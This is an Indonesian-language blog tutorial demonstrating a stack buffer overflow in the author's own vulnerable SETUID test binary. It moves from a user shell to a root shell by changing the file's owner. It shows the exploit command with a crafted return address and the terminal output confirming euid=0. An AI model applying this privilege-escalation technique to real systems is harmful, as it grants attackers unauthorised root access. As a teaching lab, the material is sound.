Buffer Overflow dan Root Shell

Dengan teknik buffer overflow bisa terjadi efek domino atau efek lanjutan yang bisa jauh lebih berbahaya. Di salah satu posting blog ini telah dijelaskan bagaimana cara memanfaatkan vulnerability sebuah program dan pada akhirnya bisa menghasilkan sebuah shell. Pada posting kali ini akan dijelaskan salah satu spot menarik untuk kita mendapatkan shell root, bukan sekedar shell user dengan privilege terbatas.

SETUID adalah salah satu flag di file system Linux yang tujuannya untuk menge-set user ID sesuai dengan pemilik file ketika file akan di eksekusi. SETUID octal value adalah 04000. Jadi kalau mau setting SETUID pada file “hehe.txt” untuk read,write,exec oleh user bersangkutan dan read,exec oleh group user bersangkutan + others adalah dengan command “chmod 4755 hehe.txt”.

Langsung saja tidak pake basa-basi lagi, ini adalah program vulnerable kita yang dieksekusi dengan argumen khusus yang telah diracik sehingga hasilnya adalah sebuah shell…

Pertama status pemilik file executable “S9” nya adalah user “inan”. Program dieksekusi dari user “inan”. Bagi yang bingung, file “S9” itu adalah binary program yang telah saya buat (ada di postingan ini).

inan@ubuntu:~/Desktop/bof/demo$ ls -l
total 16
-rwsr-xr-x 1 inan users 7231 2011-12-20 07:06 S9
-rwxr-xr-x 1 inan users   31 2011-12-21 06:24 shellcode.bin
-rw-r--r-- 1 inan users  125 2011-12-18 04:12 shellcode.txt
inan@ubuntu:~/Desktop/bof/demo$ ./S9 abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";')
[ATURAN] buffer B hanya bisa menampung 3 bytes data
[BEFORE] ini buffer A masukan anda: abcdefghijklmno"???
[BEFORE] ini buffer B sekarang:
[PROCESSING...] menyalin isi buffer A ke buffer B
[AFTER] ini isi buffer A: abcdefghijklmno"???
[AFTER] ini isi buffer B: abcdefghijklmno"???
$ whoami
inan
$ exit
inan@ubuntu:~/Desktop/bof/demo$

Kedua status pemiliknya (ceritanya diganti…) file “S9” milik user “bombom”. Sebagai catatan, file ini dieksekusi oleh user “inan”.

root@ubuntu:/home/inan/Desktop/bof/demo# chown bombom:users S9
root@ubuntu:/home/inan/Desktop/bof/demo# chmod 4755 S9
inan@ubuntu:~/Desktop/bof/demo$ ls -l
total 16
-rwsr-xr-x 1 bombom users 7231 2011-12-20 07:06 S9
-rwxr-xr-x 1 inan   users   31 2011-12-21 06:24 shellcode.bin
-rw-r--r-- 1 inan   users  125 2011-12-18 04:12 shellcode.txt
inan@ubuntu:~/Desktop/bof/demo$ ./S9 abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";')
[ATURAN] buffer B hanya bisa menampung 3 bytes data
[BEFORE] ini buffer A masukan anda: abcdefghijklmno"???
[BEFORE] ini buffer B sekarang:
[PROCESSING...] menyalin isi buffer A ke buffer B
[AFTER] ini isi buffer A: abcdefghijklmno"???
[AFTER] ini isi buffer B: abcdefghijklmno"???
$ whoami
bombom
$ exit
inan@ubuntu:~/Desktop/bof/demo$

Ketiga status pemiliknya (ceritanya diganti…) file “S9” adalah milik “root”. File ini dieksekusi dari user “inan”.

root@ubuntu:/home/inan/Desktop/bof/demo# chown root:root S9
root@ubuntu:/home/inan/Desktop/bof/demo# chmod 4755 S9
inan@ubuntu:~/Desktop/bof/demo$ ls -l
total 16
-rwsr-xr-x 1 root root  7231 2011-12-20 07:06 S9
-rwxr-xr-x 1 inan users   31 2011-12-21 06:24 shellcode.bin
-rw-r--r-- 1 inan users  125 2011-12-18 04:12 shellcode.txt
inan@ubuntu:~/Desktop/bof/demo$ ./S9 abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";')
[ATURAN] buffer B hanya bisa menampung 3 bytes data
[BEFORE] ini buffer A masukan anda: abcdefghijklmno"???
[BEFORE] ini buffer B sekarang:
[PROCESSING...] menyalin isi buffer A ke buffer B
[AFTER] ini isi buffer A: abcdefghijklmno"???
[AFTER] ini isi buffer B: abcdefghijklmno"???
# whoami
root
# id
uid=1000(inan) gid=1000(inan) euid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(inan)
#

Dengan memanfaatkan program yang pemiliknya adalah root dan menggunakan flag SETUID, kita bisa cari bugsnya dan manfaatin file itu untuk gaining root shell. Kini, file “S9” bisa disebut sebuah rootkit hahahak.. ;p

 

One thought on “Buffer Overflow dan Root Shell

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.